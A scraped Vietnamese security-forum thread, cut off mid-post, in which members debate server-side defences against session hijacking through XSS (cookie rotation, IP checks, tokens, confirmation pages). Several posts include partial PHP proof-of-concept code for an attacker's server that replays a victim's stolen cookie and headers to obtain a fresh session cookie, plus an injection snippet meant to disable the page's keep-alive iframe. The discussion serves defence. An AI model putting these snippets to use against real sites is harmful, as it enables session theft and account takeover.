Nào có phải "công nghệ" gì đâu :) chẳng qua nó là feature của 1 số ngôn ngữ lập trình có hỗ trợ, chẳng hạn như php thì có hàm curl, asp.net thì có HttpConnection (hay j j ý quên rùi :P) ... Nó cho phép tạo kết nối HTTP, set các trường header, cookie ... Ko rõ gamma95 muốn hỏi j cụ thể hơn chăng? :-/]]> /hvaonline/posts/list/19371.html#118255 /hvaonline/posts/list/19371.html#118255 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
Cách của bác conmale có thể bypass 1 cách đơn giản thế này (không cần phải nhanh tay ha :D) : khi server của người tấn công nhận đc cookie mới nhất của victim, nó tự động liền sau đó gửi yêu cầu tới web server với http header và cookie của victim để lấy về cookie "mới hơn nữa" :D như vậy kẻ tấn công sẽ chiếm đc 1 cookie hợp lệ, đồng thời biến cookie đang lưu trong browser nạn nhân trở thành bất hợp lệ. Và thông thường boom_jt thấy thì nạn nhân có login lại thì cookie của kẻ tấn công cũng không trở thành bất hợp lệ do sự cho phép nhiều người dùng đăng nhập vào cùng 1 tài khoản.  
Nếu không nhanh tay thì làm sao có thể tiếp tục dùng cookie chôm được để gởi request đến HVA server để lấy cookie mới? Nếu kẻ tấn công cần thời gian để setup và để có thể dùng cookie chôm được, lúc ấy có thể cookie mới đã được cấp đến victim rồi và cookie chôm được trở thành vô dụng. Cái quan trọng là động tác "tự động liền sau đó gửi yêu cầu tới web server với http header và cookie của victim để lấy về cookie" thực hiện như thế nào. Nên nhớ rằng, các phương pháp xss hiện giờ chưa có cách nào khả dĩ để có thể "tự động gởi yêu cầu đến server bằng cookie chôm được" với thời gian đủ nhanh. Chỉ có một khả năng có thể khai thác khá bảo đảm là sau khi bị chôm mất cookie, victim vẫn không làm gì tiếp để cập nhật cookie mới (đứng idle).

boom_jt wrote:
Vậy làm sao để hạn chế việc này? 1. Chỉ cho phép 1 người dùng đăng nhập vào 1 tài khoản trong 1 thời điểm, và cookie đc set khi đăng nhập thành công sẽ là cookie hợp lệ. tất nhiên điều này kéo theo 1 vài ràng buộc nào đó liên quan đến yêu cầu phần mềm, nói chung là cũng còn tùy trường hợp. Trong trường hợp HVA forum thì có lẽ cơ chế này có thể áp dụng  
HVA forum chưa bao giờ cho phép 1 tài khoản có thể login ở 2 thời điểm khác nhau song song nhau. Chỉ có thể có một xuất đăng nhập tồn tại trong một thời điểm mà thôi.

boom_jt wrote:
2. Dựa trên cách bác conmale đề ra: sử dụng 1 cookie SID không đổi (session) và cookie động (giống như của bác conmale). Chỉ cần cookie động không hợp lệ là SID sẽ bị loại bỏ luôn. Như thế, khi nạn nhân sử dụng cookie "không còn hợp lệ" (do cách khai thác ở trên) để tạo kết nối tiếp theo cũng đồng nghĩa với việc biến cookie "hợp lệ" đang nằm trong tay kẻ tấn công thành bất hợp lệ. Nạn nhân sẽ phải đăng nhập lại để có cookie hợp lệ.  
Logic là thế.

boom_jt wrote:
Tuy nhiên, với cách 2 như vừa nêu, giả sử lỗi XSS nằm ngay tại index của diễn đàn (hay trong danh sách thành viên online chẳng hạn), sẽ dẫn đến 1 vấn đề là toàn bộ thành viên sẽ ko thể vào đc diễn đàn, vì cookie của họ liên tục trở thành bất hợp lệ! Phương pháp nào cũng có mặt trái của nó :( kèm theo đó là 1 số bất cập do các bác đã nêu... thân mến 
Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? :).]]> /hvaonline/posts/list/19371.html#118257 /hvaonline/posts/list/19371.html#118257 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

vivashadow wrote:

gamma95 wrote:
@secmask: tui có nói đến cụm từ "nhanh tay" :D, còn chuyện một đoạn javascript để connect đến HVA trong khoảng thời gian delay nào đó ... thì attacker có thể disable đoạn script đó cũng bằng "XSS exploit ". Cụ thể là một đoạn javascript set lại thời gian delay phía victim ( hoặc Disable luôn) sau đó mới chôm cookie bình thường :D 
Hiện tại HVA có dùng 1 iframe ở cuối để ping về HVA sau interval 600s, có thể kết hợp cái này để làm mới cookie mà không cần đoạn javascrip secmask nói. 
@vivashadow: Attacker dễ dàng inject cái script này để disable nguyên đoạn mã html phía dưới, trong đó có cả cái iframe chứa ping.jsp của HVA
<script>window.open() .....</script><!-- 
Cách của bác conmale có thể bypass 1 cách đơn giản thế này (không cần phải nhanh tay ha ) : khi server của người tấn công nhận đc cookie mới nhất của victim, nó tự động liền sau đó gửi yêu cầu tới web server với http header và cookie của victim để lấy về cookie "mới hơn nữa" như vậy kẻ tấn công sẽ chiếm đc 1 cookie hợp lệ, đồng thời biến cookie đang lưu trong browser nạn nhân trở thành bất hợp lệ. Và thông thường boom_jt thấy thì nạn nhân có login lại thì cookie của kẻ tấn công cũng không trở thành bất hợp lệ do sự cho phép nhiều người dùng đăng nhập vào cùng 1 tài khoản. 
Nếu không nhanh tay thì làm sao có thể tiếp tục dùng cookie chôm được để gởi request đến HVA server để lấy cookie mới? Nếu kẻ tấn công cần thời gian để setup và để có thể dùng cookie chôm được, lúc ấy có thể cookie mới đã được cấp đến victim rồi và cookie chôm được trở thành vô dụng. Cái quan trọng là động tác "tự động liền sau đó gửi yêu cầu tới web server với http header và cookie của victim để lấy về cookie" thực hiện như thế nào. 
@boom_it: ý anh conmale cũng là ý tui muốn hỏi, nếu có thể bạn có thể viết một đoạn mã nhỏ (PoC) để demo thử. ]]> /hvaonline/posts/list/19371.html#118261 /hvaonline/posts/list/19371.html#118261 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

conmale wrote:
Nên nhớ rằng, các phương pháp xss hiện giờ chưa có cách nào khả dĩ để có thể "tự động gởi yêu cầu đến server bằng cookie chôm được" với thời gian đủ nhanh. 
Việc "tự động gởi yêu cầu đến server bằng cookie chôm được" đc thực hiện trên server của kẻ tấn công, và nó hoàn toàn không liên quan đến khả năng của XSS hay ko ^_^ Có thể ví dụ 1 chút thế này: Filename: conmale_gamma95.php :P Code:
...
$user_agent = $_SERVER['HTTP_USER_AGENT'];
... // lưu các giá trị nhận đc vào các biến 

$ch = curl_init('/hvaonline/recentTopics/list.html');
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
... // set đầy đủ các thuộc tính thu đc từ http header
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$res = curl_exec($ch); //thực hiện kết nối tới HVA bằng cookie vừa nhận đc
curl_close($ch);

SaveCookie($res)  //thực hiện việc lưu cookie mới nhận đc trong kết quả trả về
(xin thứ lỗi cho boom_jt vì đoạn code trên mang tính chất cực kì "PoC", vì boom_jt ko thật rành lập trình cho đúng syntax á :">) Vậy đoạn mã khai thác XSS có thể khiến browser nạn nhân kết nối tới địa chỉ: Code:
http://host/conmale_gamma95.php
Vậy khi đó, việc của conmale_gamma95.php là kết nối tới /hvaonline/recentTopics/list.html để lấy cookie mới và lưu nó lại. thân mến p/s

conmale wrote:
Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? 
hiện tại boom_jt chưa nghĩ ra, mong bác conmale chỉ giáo :)]]> /hvaonline/posts/list/19371.html#118277 /hvaonline/posts/list/19371.html#118277 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

boom_jt wrote:
:

conmale wrote:
Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? 
hiện tại boom_jt chưa nghĩ ra, mong bác conmale chỉ giáo :) 
Cái chỗ này chính xác là vấn đề mọi người đáng quan tâm :) , Bạn nên nghĩ tới các yếu tố kết hợp nào để tạo ra một session như thế nhằm để phân biệt được ai là kẻ đang giả mạo phiên truy cập :D, Vd nhé : người dùng hợp lệ đang duyện HVA bằng IE, còn kẻ tấn công thì dùng firefox ... đó là những yếu tố cần kết hợp để tạo ra một sessioniD có thể phân biệt. Không biết đúng không ta ? :D]]> /hvaonline/posts/list/19371.html#118281 /hvaonline/posts/list/19371.html#118281 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#118282 /hvaonline/posts/list/19371.html#118282 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118285 /hvaonline/posts/list/19371.html#118285 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

ThíchHắcKinh wrote:

boom_jt wrote:
:

conmale wrote:
Nếu như session của kẻ tấn công có yếu tố nào đó giúp phân biệt được và chính session (của người thực hiện hijack) ấy bị hủy chớ không phải session của người bị hijack bị hủy thì sao? 
hiện tại boom_jt chưa nghĩ ra, mong bác conmale chỉ giáo :) 
Cái chỗ này chính xác là vấn đề mọi người đáng quan tâm :) , Bạn nên nghĩ tới các yếu tố kết hợp nào để tạo ra một session như thế nhằm để phân biệt được ai là kẻ đang giả mạo phiên truy cập :D, Vd nhé : người dùng hợp lệ đang duyện HVA bằng IE, còn kẻ tấn công thì dùng firefox ... đó là những yếu tố cần kết hợp để tạo ra một sessioniD có thể phân biệt. Không biết đúng không ta ? :D 
Kẻ tấn công chôm trọn bộ HTTP headers của nạn nhân mà bồ :). Hắn sẽ dùng trọn bộ HTTP headers (có cả cookie trong đó) để impersonate và hijack session. Tuy vậy, hắn vẫn bị một số hạn chế và chúng ta đang thử nghĩ xem những hạn chế đó là gì để dùng nó giảm thiểu dung hại tình trạng bị hijack. Thân.]]> /hvaonline/posts/list/19371.html#118287 /hvaonline/posts/list/19371.html#118287 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
@boom_it: đoạn mã cậu post lên tui chưa thấy tính tự động ở đâu cả. Cái tự động ở đây theo ý tui là ngay khi cái file log.txt nhận được cookie được gởi đến bởi nạn nhân thì ngay lập tức nó lấy giá trị cookie + HTTP header đó generate ra một http request đến server HVA ngay lập tức để lấy cookie mới kìa :) 
Chị gammar95 ạ ...đoạn code trên của boom_it chỉ mang tính tham khảo, vấn đề gởi request tự động khi thu thập được header + session của nạn nhân dễ dàng thực hiện được nếu dùng socket trong PHP ... đoạn code sau cũng mang tính tham khảo :D Code:
<?php
function getURL(){
	error_reporting(E_ALL);
	$filenameurl = "urlip.txt"; //the default blog file
	$sReponse="heheheheh";
	//echo "<h2>TCP/IP Connection</h2>\n";

	/* Get the port for the WWW service. */
	$service_port = getservbyname('www', 'tcp');

	/* Get the IP address for the target host. */
	
	$address = gethostbyname('www.hvaonline.net/......');  //gì gì đó :D

	/* Create a TCP/IP socket. */
	$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
	if ($socket === false) {
		//echo "socket_create() failed: reason: " . socket_strerror(socket_last_error()) . "\n";
	} else {
		//echo "OK.\n";
	}

	//echo "Attempting to connect to '$address' on port '$service_port'...";
	$result = socket_connect($socket, $address, $service_port);
	if ($result === false) {
		//echo "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket)) . "\n";
	} else {
		//echo "OK.\n";
	}

	$in = "GET /hvaonline/posts/reply/0/15621.html HTTP/1.1\r\n";  /// ... gì gì đó :D
	$in .= "Host:www.hvaonline.net\r\n";
       //chỗ này chèn thông tin thu thập gì gì đó
       //..
      //..

        $in .= "Connection: Close\r\n\r\n";
	$out = '';


	//echo "Sending HTTP HEAD request...";
	socket_write($socket, $in, strlen($in));
	//echo "OK.\n";

	//echo "Reading response:\n\n";
	while ($out = socket_read($socket, 2048)) {
		//echo $out;
		$sReponse .=  $out;
	}

	//echo "Closing socket...";
	socket_close($socket);
	//echo "OK.\n\n";

	if (file_exists("$filenameurl")) {
			$fp = fopen($filenameurl,"a+");
			fputs($fp,"==========\n".$sReponse."\n==========\n");
			fclose($fp); 
	}
}
@conmale : Nếu vậy thì phải suy nghĩ thêm chút nữa đã :D]]> /hvaonline/posts/list/19371.html#118290 /hvaonline/posts/list/19371.html#118290 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118293 /hvaonline/posts/list/19371.html#118293 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

gamma95 wrote:
@boom_it: đoạn mã cậu post lên tui chưa thấy tính tự động ở đâu cả. Cái tự động ở đây theo ý tui là ngay khi cái file log.txt nhận được cookie được gởi đến bởi nạn nhân thì ngay lập tức nó lấy giá trị cookie + HTTP header đó generate ra một http request đến server HVA ngay lập tức để lấy cookie mới kìa :) 
Hoàn toàn tự động theo đúng yêu cầu của bạn đó mà :) Hi vọng bạn hiểu rõ hơn thông qua cái mình vẽ dưới đây: browser nạn nhân |-------------Cookie1------------------> conmale_gamma95.php conmale_gamma95.php|---------------Cookie1------------------> HVA conmale_gamma95.php <---------------Cookie2------------------| HVA browser nạn nhân <-------------response bất kì---------------| conmale_gamma95.php Hình trên là toàn bộ quá trình từ lúc browser nạn nhân gửi thông tin tới server kẻ tấn công cho đến khi browser nhận đc kết quả trả lời của request đó. Việc thực hiện tự động của file conmale_gamma95.php chính là do sự kích hoạt của request từ browser nạn nhân. hic, nãy hiển thị có vấn đề phải vào chỉnh lại]]> /hvaonline/posts/list/19371.html#118294 /hvaonline/posts/list/19371.html#118294 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#118295 /hvaonline/posts/list/19371.html#118295 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server

boom_jt wrote:
2. Dựa trên cách bác conmale đề ra: sử dụng 1 cookie SID không đổi (session) và cookie động (giống như của bác conmale). Chỉ cần cookie động không hợp lệ là SID sẽ bị loại bỏ luôn. Như thế, khi nạn nhân sử dụng cookie "không còn hợp lệ" (do cách khai thác ở trên) để tạo kết nối tiếp theo cũng đồng nghĩa với việc biến cookie "hợp lệ" đang nằm trong tay kẻ tấn công thành bất hợp lệ. Nạn nhân sẽ phải đăng nhập lại để có cookie hợp lệ.  
Từ 1 user vô tội, khả năng gởi 1 request mang cookie cũ là có thể, nên sẽ xảy ra tình trạng mất session bất kể có XSS hay mất cắp coookie hay không. @boom_jt:

boom_jt wrote:
Tuy nhiên, với cách 2 như vừa nêu, giả sử lỗi XSS nằm ngay tại index của diễn đàn (hay trong danh sách thành viên online chẳng hạn), sẽ dẫn đến 1 vấn đề là toàn bộ thành viên sẽ ko thể vào đc diễn đàn, vì cookie của họ liên tục trở thành bất hợp lệ!  
Mình chưa hiểu rõ vì sao "cookie của họ liên tục trở thành bất hợp lệ!"

gamma95 wrote:
@vivashadow: Attacker dễ dàng inject cái script này để disable nguyên đoạn mã html phía dưới, trong đó có cả cái iframe chứa ping.jsp của HVA
<script>window.open() .....</script><!--  
 
Làm vậy thì bứt dây động rừng quá, cấu trúc trang web sẽ bị vỡ và mất nội dung. Hoặc sẽ chống bằng 1 dòng <!----> :D ]]> /hvaonline/posts/list/19371.html#118299 /hvaonline/posts/list/19371.html#118299 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#118303 /hvaonline/posts/list/19371.html#118303 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#118305 /hvaonline/posts/list/19371.html#118305 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server /hvaonline/posts/list/19371.html#118320 /hvaonline/posts/list/19371.html#118320 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118331 /hvaonline/posts/list/19371.html#118331 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118339 /hvaonline/posts/list/19371.html#118339 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

Choen wrote:
Khi có 1 request khác tới , nó sẽ xác nhập thông tin về IP của client , nếu có 1 sự thay đổi IP , server sẽ yêu cầu client đăng nhập lại ?... 
Công ty tui xài out-bound Load-balancer, nên không có gì đảm bảo 2 request khác nhau sẽ có cùng một IP. Chẳng lẽ tui phải login lại hoài luôn à??? :-/ Phương pháp mà bạn nói thì tụi register.com cũng dùng, làm mỗi lần trong cty muốn xài website của tụi này là điên luôn :-S]]> /hvaonline/posts/list/19371.html#118343 /hvaonline/posts/list/19371.html#118343 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118356 /hvaonline/posts/list/19371.html#118356 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

mrro wrote:
"Con gián" của gamma hại nhỉ? ;) Anyway, tôi cho rằng, mọi hành động điều chỉnh cookie, như cách anh conmale đề cập, chỉ là những "mánh mung", hòng gây thêm khó khăn cho kẻ tấn công, chứ không phải là một giải pháp triệt để.  
Hì hì, mục đích đằng sau là để tìm hiểu những giới hạn của giao thức HTTP hiện nay trong phạm vi session management đó em :). Cái này quan trọng và lý thú hơn chỉ dừng lại ở mức "quick fix".

mrro wrote:
Hơi off-topic, tôi nghĩ có lẽ chúng ta đang xác định sai vấn đề cần giải quyết, nên các giải pháp đưa ra đều khó lòng mà triệt để. Vấn đề mà chúng ta cần giải quyết ở đây không phải là xác thực người dùng (user authentication, như mọi người vẫn đang cố gắng triển khai, thông qua các hình thức cookie, username, password, token...), mà phải là xác thực từng hành động mà người dùng thực thi trên hệ thống (transaction authentication).  
Điểm này hoàn toàn đúng. Tuy vậy, vấn đề nằm ở chỗ xác định sự cân bằng giữa đòi hỏi bảo mật và tiện dụng của một ứng dụng. Một ứng dụng online banking cần "transaction authentication" là điều cần thiết bởi vì mỗi cú bấm đều critical. Đối với một forum, tính critical không cao đến thế. Nếu đặt tính critical của một forum lên mức đòi hỏi "transaction authentication" thì nó bị mất tính linh động và dễ dùng. Đứng về mặt technology, mình có thể vận dụng nhiều phương pháp để giải quyết tình trạng hijacking. Cái khó là duy trì được mức transparent và friendly trong quá trình sử dụng.

mrro wrote:
Tôi đưa ra một ví dụ về sự thất bại của chiến thuật xác thuật người dùng. Ngay ở HVAOnline, trước đây, JForum bị dính một lỗi CSRF (có một topic về đề tài này trên HVAOnline), anh conmale mới triển khai một kiểu securityHash, là một hidden field trong mấy cái form trên HVAOnline. securityHash giải quyết được CSRF cho đến khi gamma, với sự cố "con gián" :-d, đã chôm được luôn cookie (và thật ra khi đã bị XSS rồi, thì securityHash kô còn có tác dụng nữa) và từ đó chiếm luôn session của những người nào mải mê "bắt gián". Rõ ràng, các phương thức xác thực như cookie, session hay securityHash không phải là giải phát triệt để để bảo đảm an ninh cho phía server, ngăn ngừa những tổn hại có thể xảy ra với server trong trường hợp credential của user bị đánh cắp. Đó là tôi chưa kể đến những vấn đề như MITM trojan có khả năng chôm credential của user một cách tự động và "trong suốt" luôn. Tóm lại, từ máy tính của người dùng đến server, có quá nhiều cạm bẫy và rủi ro có thể khiến người dùng bị chôm mất credential của mình.  
Ở giới hạn forum và ưu tiên cao nhất là hiệu suất + thân thiện, việc ứng dụng bất cứ phương pháp nào khả thi để giảm thiểu dung hại là việc cần thiết. Điểm em đưa ra đây chính là cốt lõi của vấn đề mà mình nên nắm lấy: hạn chế của giao thức và cơ chế quản lý session xuyên qua HTTP. HTTP được tạo ra nhằm phục vụ stateless request / response. Cho đến khi nó được phổ biến, dựa trên giao thức khá "primitive" thời ấy, các công nghệ ứng dụng mới tìm cách khai thác và mở rộng cái hạn chế "stateless" kia. XSS và CSRF được khám phá và exploit mãi sau này. Bởi thế, cho đến lúc này, dựa trên căn bản primitive HTTP để duy trì một session và bảo đảm tính bảo mật là điều khó thực hiện được (nếu không muốn áp đặt những cơ chế kém thân thiện).

mrro wrote:
Do đó, tôi nghĩ bây giờ phải assump là, người dùng sẽ bị chôm credential, trong trường hợp này là attacker có thể tạo ra một request hoàn toàn bình thường như người dùng. Câu hỏi là có cách nào kiểm tra request đó ở phía server hay không? Có nhiều cách, tùy theo từng hoàn cảnh, chẳng hạn như: - đối với các hệ thống tài chính, ngân hàng, họ đều triển khai một hệ thống gọi là "fraud detection system", tạm dịch là hệ thống phát hiện gian lận. Hệ thống này được xây dựng dựa trên nền tảng của AI, có khả năng tìm hiểu, phân tích, học và adapt theo thói quen của người dùng. Ví dụ như họ phân tích thói quen tiêu tiền của tôi là lần nào cũng rút tiền từ ATM ra cao lắm là 2 triệu, tại một trong 2 máy ATM gần chỗ làm. Nếu một ngày nào đó, tự nhiên ai đó rút ra hết tiền của tôi, tại một máy ATM ở...Lạng Sơn chẳng hạn, hệ thống sẽ báo động và ngừng giao dịch đó lại.  
Cái này có thể bị kẹt trong context banking. Ví dụ anh đang ở Sydney, thỉnh thoảng anh dùng thẻ để rút tiền ở vài ATM nào đó tại Sydney. Ngày kia anh đi hội nghị ở Sing, anh cần tiền và bị ngưng giao dịch như thế là chết anh ;).

mrro wrote:
Đương nhiên xây dựng một hệ thống như thế đòi hỏi tiền bạc, thời gian, nhân lực và rõ ràng là không thể áp dụng cho HVAOnline. - đối với một hệ thống như HVAOnline, chúng ta có thể điều chỉnh bằng các rule, chẳng hạn như: + ủy thác thực hiện các chức năng quan trọng vào một lớp IP nhất định. + trước khi thực hiện bất kỳ chức năng nào, phải verify lại mật khẩu. + tách bạch giữa account quản lý và account sinh hoạt trên diễn đàn (chẳng hạn như "quanlytruong") + ...  
Điểm thứ 1 ok, đã áp dụng (như điểm thứ 3). Điểm thứ 2 hơi kẹt ;). Điểm thứ 3 gần giống điểm thứ 1. Hầu hết các chức năng quan trọng đều nằm trong administrator account và nó được "quản chế" khá chặt. Các account moderators có thể làm được một số công tác quan trọng khác nhưng không thể làm hàng loạt được :). Đây là nguyên tắc bảo mật căn bản.

mrro wrote:
Sorry mọi người, hơi bị off-topic ;). -m  
Đâu có. Ý kiến của em rất giá trị và không hề off-topic :). Thân.]]> /hvaonline/posts/list/19371.html#118389 /hvaonline/posts/list/19371.html#118389 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118500 /hvaonline/posts/list/19371.html#118500 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

conmale wrote:
Hì hì, mục đích đằng sau là để tìm hiểu những giới hạn của giao thức HTTP hiện nay trong phạm vi session management đó em . Cái này quan trọng và lý thú hơn chỉ dừng lại ở mức "quick fix". 
Hi hi, anh conmale coi bộ muốn bà con "xới tung" HTTP & its related stuff lên mới đã hay sao đó mà đặt giả thiết bài toán khó nhằn ghê :P. Thành thực mà nói, do bản chất "vốn có" của HTTP là một stateless protocol nên vô hình chung dẫn tới bài toán Session Management trở nên cầu kỳ, phức tạp. Bất kỳ một Web application nào khi có nhu cầu đụng tới vấn đề authentication thì hầu như phải tự thêm thắt các phương pháp "tự chế" (đối với context trong topic này là các thứ khá quen thuộc như cookies, sessionID, securityHash,...) nhằm mục đích "tha thiết" là: xác thực/định danh người dùng.

conmale wrote:
Điểm này hoàn toàn đúng. Tuy vậy, vấn đề nằm ở chỗ xác định sự cân bằng giữa đòi hỏi bảo mật và tiện dụng của một ứng dụng. Một ứng dụng online banking cần "transaction authentication" là điều cần thiết bởi vì mỗi cú bấm đều critical. Đối với một forum, tính critical không cao đến thế. Nếu đặt tính critical của một forum lên mức đòi hỏi "transaction authentication" thì nó bị mất tính linh động và dễ dùng. Đứng về mặt technology, mình có thể vận dụng nhiều phương pháp để giải quyết tình trạng hijacking. Cái khó là duy trì được mức transparent và friendly trong quá trình sử dụng. 
Um, thiết nghĩ anh conmale có vẻ quá "trăn trở" về vấn đề transparent & friendly trong khuôn khổ forum nên khó có thể đạt được một giải pháp "dĩ hoà vi quý". Vì xét cho cùng, trên một forum, các tác vụ quan trọng nhất, đáng để "lừa" nhất, là các tác vụ điều hợp (của mods) nên việc verify lại mật khẩu là điều nên làm trong trường hợp cần thiết. Em nghĩ có thể kết hợp thêm yếu tố Timestamp (chẳng hạn, khoảng 30 giây) cho securityHash/token (có tính duy nhất cho 1 session) hiện tại của diễn đàn. Theo đó, phía server sẽ lưu giữ một table các securityHash này và sẽ không chấp nhận một request nào đó nếu giá trị securityHash đã và đang được dùng trước đó. Table này sẽ chỉ lưu các securityHash trong khoảng thời gian của Timestamp sau đó sẽ được giải phóng mà không chiếm tài nguyên. Trong trường hợp nhận được 2 requests với 2 securityHash giống nhau (bị session hijack), khi đó server-side nên cân nhắc trường hợp reject cả hai request này (vì khi đó không rõ request nào là hợp lệ) hoặc tiến hành verify lại password.

mrro wrote:
Do đó, tôi nghĩ bây giờ phải assump là, người dùng sẽ bị chôm credential, trong trường hợp này là attacker có thể tạo ra một request hoàn toàn bình thường như người dùng. Câu hỏi là có cách nào kiểm tra request đó ở phía server hay không? Có nhiều cách, tùy theo từng hoàn cảnh, chẳng hạn như: - đối với các hệ thống tài chính, ngân hàng, họ đều triển khai một hệ thống gọi là "fraud detection system", tạm dịch là hệ thống phát hiện gian lận. Hệ thống này được xây dựng dựa trên nền tảng của AI, có khả năng tìm hiểu, phân tích, học và adapt theo thói quen của người dùng. Ví dụ như họ phân tích thói quen tiêu tiền của tôi là lần nào cũng rút tiền từ ATM ra cao lắm là 2 triệu, tại một trong 2 máy ATM gần chỗ làm. Nếu một ngày nào đó, tự nhiên ai đó rút ra hết tiền của tôi, tại một máy ATM ở...Lạng Sơn chẳng hạn, hệ thống sẽ báo động và ngừng giao dịch đó lại. 
Đúng là bài toán authentication chỉ có thể được giải quyết rốt ráo khi không còn phụ thuộc vào việc authenticate users nữa mà thay vào đó là authenticate nội dung giao dịch. Tuy nhiên, để có giải pháp hoàn thiện dựa trên AI, vấn đề thời gian & nghiên cứu nên được đầu tư một cách nghiêm túc. Lý do, nếu hệ thống không được "training" tốt, không lựa chọn được AI learning algorithms tốt, thì khả năng chịu false positive là không thể tránh khỏi. Mến.]]> /hvaonline/posts/list/19371.html#118507 /hvaonline/posts/list/19371.html#118507 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv /hvaonline/posts/list/19371.html#118520 /hvaonline/posts/list/19371.html#118520 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía server cải tổ, HTTP là giao thức quá phổ biến và thiết yếu nên người ta luôn cố cải tiến nó đấy chứ. Nhưng chính vì tính chất đơn giản, nhanh, phổ biến và mục đích cơ bản từ nguyên thủy của nó chỉ là để tra cứu thông tin nên có cố gắng bao nhiêu thì HTTP vẫn là HTTP nếu thay đổi quá như boom_jt thì có lẽ HTTP sẽ thành 1 giao thức khác, hoặc chí ít phải đánh đổi các tính chất cơ bản của giao thức, cho nên trước mắt vẫn phải tự chế thôi. Một nguyên nhân nữa làm ứng dụng web bảo mật kém nữa là Javascript, bản thân JS mang lại nhiều sức mạnh cho web nhưng cũng gây thêm nhiều khó khăn bảo mật cùng với HTML vốn đã là ngôn ngữ thẻ lỏng lẻo. Javascript's biggest weakness is that it is not secure - douglas crockford http://www.slideshare.net/jharwig/javascript-security/ Hơi lạc đề nhưng cũng xin bao quát lại 1 chút là hướng cải thiện bây h (XSS nói chung ) là: phía server thì phải liên tục phát hiện và lấp XSS, phía client thì gia cố bảo mật trình duyệt (như là dùng HttpOnly, trusted domain), nâng cấp js/html. ]]> /hvaonline/posts/list/19371.html#118531 /hvaonline/posts/list/19371.html#118531 GMT Re: [Thảo luận] Ngăn ngừa session hijacking xuyên qua XSS từ phía serv

conmale wrote:

mrro wrote:
Đương nhiên xây dựng một hệ thống như thế đòi hỏi tiền bạc, thời gian, nhân lực và rõ ràng là không thể áp dụng cho HVAOnline. - đối với một hệ thống như HVAOnline, chúng ta có thể điều chỉnh bằng các rule, chẳng hạn như: + ủy thác thực hiện các chức năng quan trọng vào một lớp IP nhất định. + trước khi thực hiện bất kỳ chức năng nào, phải verify lại mật khẩu. + tách bạch giữa account quản lý và account sinh hoạt trên diễn đàn (chẳng hạn như "quanlytruong") + ...  
Điểm thứ 1 ok, đã áp dụng (như điểm thứ 3). Điểm thứ 2 hơi kẹt ;). Điểm thứ 3 gần giống điểm thứ 1. Hầu hết các chức năng quan trọng đều nằm trong administrator account và nó được "quản chế" khá chặt. Các account moderators có thể làm được một số công tác quan trọng khác nhưng không thể làm hàng loạt được :). Đây là nguyên tắc bảo mật căn bản. 
Điểm thứ 2 của Thái không phải là không hữu dụng. Mình có thể chia ra làm 2 cấp: * Cấp đầu tiên: Mọi action "nguy hiểm" đều phải qua 1 bước đệm để confirm, và action cuối cùng chỉ được thực hiện thông qua 1 POST request. Ví dụ, khi xóa bài viết, thay vì hiển thị lên cái pop-up javascript "Are you sure?", thì mình làm 1 page Confirm "Are you sure?" từ server side. Và khi click "Yes" sẽ POST request lên server. Cách làm này có nhiều lợi điểm: - Không giảm thiểu mấy về mặt tiện dụng. Hiện thêm 1 cái confirmation để hỏi Yes/No cho các tác vụ nguy hiểm như delete chẳng hạn thì sẽ không có ai than phiền gì đâu; mà có khi còn được hoan nghênh nữa là khác ;-) - Cản được khá nhiều các tấn công kiểu cross-site. Vì thứ nhất wwwect trong HTTP không hỗ trợ POST; sẽ giảm thiểu được kiểu tấn công bằng cách wwwect qua/lại giữa các node (pc của hva user, server hva, server/pc của attacker). Thứ hai, mình có thể lợi dụng cái trang confirmation đệm ở giữa này để tạo 1 security token riêng cho cái action đó; như vậy attacker có send được 1 cái POST request đến server HVA thì cũng 